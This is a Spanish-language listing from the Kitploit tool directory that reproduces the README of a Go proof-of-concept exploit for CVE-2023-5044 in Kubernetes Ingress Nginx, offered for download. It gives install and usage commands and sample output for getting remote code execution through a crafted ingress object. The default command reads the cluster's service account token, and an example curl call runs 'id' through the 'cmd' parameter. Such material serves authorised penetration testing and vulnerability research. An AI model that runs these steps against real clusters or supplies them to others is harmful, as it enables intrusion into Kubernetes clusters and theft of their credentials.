Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2023-5044 — Exploit de prueba de concepto basado en Go para CVE-2023-5044 en Ingress Nginx, automatizando la ejecución remota de código mediante objetos ingress manipulados en clústeres de Kubernetes. | Kitploit
Herramientas/GitHubGitHub/4armed/cve-2023-5044
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la NubeComando y ControlRed Teaming
GitHub4armed/cve-2023-5044

cve-2023-5044

Exploit de prueba de concepto basado en Go para CVE-2023-5044 en Ingress Nginx, automatizando la ejecución remota de código mediante objetos ingress manipulados en clústeres de Kubernetes.

21hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2023-5044 Ingress Nginx Exploit Proof-Of-Concept

Este es un programa rápido en Go para explotar la reciente CVE en el controlador Ingress Nginx.

Los detalles sobre cómo hacer esto ya están disponibles a través del blog de Rory McCune en https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/; esto solo automatiza un poco el proceso y limpia el exploit para que sea un payload de ejecución remota de código más flexible y genérico.

Instalación

root@kitploit:~
% go install github.com/4armed/cve-2023-5044@latest

Clúster de prueba

Necesitarás un clúster para ejecutarlo contra una versión vulnerable de ingress-nginx (obviamente). Si no tienes uno contra el que probar, puedes crear un clúster Kind clonando este repositorio y usando el Makefile en la carpeta deploy.

root@kitploit:~
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up

Si dejas el archivo kind.yaml tal cual, tendrás un clúster vinculado a tu localhost en los puertos 30080 y 30443.

Uso

root@kitploit:~
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"

La línea "checking permissions" se debe a que la herramienta realiza una Revisión de Acceso de Sujeto (Subject Access Review) para verificar que tienes permisos para crear un ingress. Si no los tienes, saldrá en ese punto. Si tienes acceso de edición a un ingress existente, ciertamente puedes usar el exploit para lograr un compromiso, pero es demasiado complejo automatizar la actualización de un ingress existente sin romper cosas.

La ruta predeterminada para activar el exploit es /4armed y lee y ejecuta el valor del parámetro de cadena de consulta cmd.

Imprimirá una URL de ejemplo con el comando predeterminado cat /var/run/secrets/kubernetes.io/serviceaccount/token. Puedes cambiarlo con la bandera -e o simplemente proporcionar un valor diferente en el parámetro cmd. El exploit no está codificado de forma rígida. No necesitas desplegar un nuevo ingress.

root@kitploit:~
%  curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)

El nombre del objeto ingress se aleatoriza usando GenerateName, así que presta atención a la salida y limpia después de ti.

root@kitploit:~
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted

Si solo quieres generar el objeto ingress, usa:

root@kitploit:~
% cve-2023-5044 generate

Aviso legal

Esto es solo con fines de prueba contra un clúster para el cual tienes autorización. Si lo usas contra un clúster, tengas permiso o no, el autor no acepta ninguna responsabilidad por cualquier daño o problema causado. Se ha tenido cuidado en elegir valores de ruta que no entren en conflicto con los existentes; puedes sobrescribirlos con banderas o cambiar el código si es necesario, pero aún así podrías romper algo. Asegúrate de saber lo que estás haciendo.

Descargar herramienta